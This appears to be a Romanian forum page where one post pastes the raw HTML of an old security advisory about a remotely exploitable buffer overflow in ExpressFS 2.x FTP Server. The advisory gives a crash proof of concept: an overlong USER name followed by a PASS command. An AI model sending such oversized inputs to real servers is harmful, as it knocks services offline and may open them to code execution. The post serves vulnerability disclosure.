Forum
Bine ati venit pe forum.
|
Nou pe simpatie:
luiza69 24 ani
 | Femeie
24 ani
Bucuresti
cauta Barbat
27 - 75 ani |
|
|
ForumInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
Deocamdata nu sunt reguli !
Constitutia forumului e in lucru.
|
|
| |
|
| #2 |
|
|
<html>
<head>
<title>u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body bgcolor="#FFFFFF" text="#000000" link="#486090" vlink="#485888" alink="#405888" background="fondo_ussr2.jpg">
<table border="0" width="95%" cellspacing="20" cellpadding="20" height="902">
<tr>
<td height="891">
<center>
<table border="0" cellspacing="2" cellpadding="2" width="93%">
<tr>
<td colspan="2" align="LEFT" valign="MIDDLE" bgcolor="#309880"><font face="Verdana" size="-1" color="#FFFFFF">
<font size="+1"><a name="org"></a>ExpressFS 2.x FTPServer remotely
exploitable buffer overflow vulnerability</font></font></td>
</tr>
<tr>
<td width="29%" align="LEFT" valign="TOP"> </td>
<td width="71%" align="LEFT" valign="TOP"> </td>
</tr>
<tr>
<th width="29%" align="LEFT" valign="TOP" height="25">ExpressFS 2.x
Server</th>
<td width="71%" align="LEFT" valign="TOP" height="25"><font face="Verdana" size="-1">
ExpressFS 2.x FTP Server</font></td>
</tr>
<tr>
<th width="29%" align="LEFT" valign="TOP" height="644"> </th>
<td width="71%" align="LEFT" valign="TOP" height="644">
<p><b><font size="4">Problem:</font></b></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">we
found in the ExpressFS 2.x FTP Server and earlier a vulnerable
to remotely exploitable bufferoverflow</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">
This can result in a denial of service and at worst in arbitrary
code being executed on the system.</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">
The vulnerabilities are the conjunction of one long user name
,and another command in this case PASS, </font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">If
this long command are passed in order program crash. </font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">Tested
in: Windows 98 / Windows NT </font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">Example:
</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">First
command USER zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">Second
command </font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">PASS
i want you crash  </font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">
Crash.....Overflow. </font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">Published
by: USSRBACK </font></p>
<p align="left"><font face="Arial, Helvetica, sans-serif" size="2">u
n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r
c h</font><font face="Arial, Helvetica, sans-serif" size="2">
</font></p>
</td>
</tr>
</table>
<p> </p>
</center>
</td>
</tr>
</table>
</body>
</html>
|
|
| |
|
